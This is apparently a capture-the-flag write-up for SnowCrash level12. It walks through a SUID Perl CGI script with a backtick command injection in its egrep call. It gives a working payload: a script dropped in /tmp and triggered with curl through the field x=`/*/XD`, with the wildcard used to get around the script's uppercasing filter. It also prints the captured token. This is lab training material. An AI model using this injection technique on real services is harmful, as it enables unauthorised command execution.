Level12

Only one file is present in home directory of the `level12` user witch is a script named `level12.pl`. The **SUID** bit is set and the owner is user `flag12`.

```
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";

sub t {
  $nn = $_[1];
  $xx = $_[0];
  $xx =~ tr/a-z/A-Z/;
  $xx =~ s/\s.*//;
  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print("..");
  } else {
      print(".");
  }
}

n(t(param("x"), param("y")));
```

This is the same scenario as Level04 with backquote interpretation/escaping. A **perl** script is running on `localhost`, port `4646`. There are two functions `sub n` and `sub t`. The output of `sub t` is passed as parameter to `sub n`.

The part that is interesting for us is the `@output = `egrep "^$xx" /tmp/xd 2>&1`;` in the `sub t` function. The function is called with two parameters wich are passed trough **CGI**. The `x` and `y` parameters are then respectively affected locally to a `$xx` and a `$nn` variable.

A bit of substitution is done on the `$xx` variable and is then used in the `egrep` command.

All lowercase letters are replaced buy uppercase letters `hello there -> HELLO THERE`.

Then all matches to occurrences of a space followed by any characters are removed. In other terms, if a space is encountered, everything that follows is removed including the space `HELLO THERE -> HELLO`.

Getting back to our ``@output = `egrep "^$xx" /tmp/xd 2>&1`;`` line. By sending two backquotes as the `x` parameter will make the command look like this: ```egrep "` `" /tmp/xd 2>&1`;``. First `egrep "` will be evaluated, then `"/tmp/xd 2>&1` will be evaluated. The two executions will fail with syntax errors for unexpected EOF while looking for matching double quote.

The best option we have is to put a valid command between the two backquotes, but remember that our parameter `x` is **altered with substitutions**. We can take advantage of the wildcard `*` expansion to access to the `/tmp` folder and execute a file named in uppercase as follows:

```
level12@SnowCrash:~$ echo 'getflag > /tmp/flag.txt' > /tmp/XD && chmod +x
/tmp/XD && curl -X POST -d 'x=`/*/XD`' http://localhost:4646 && cat
/tmp/flag.txt
..Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
```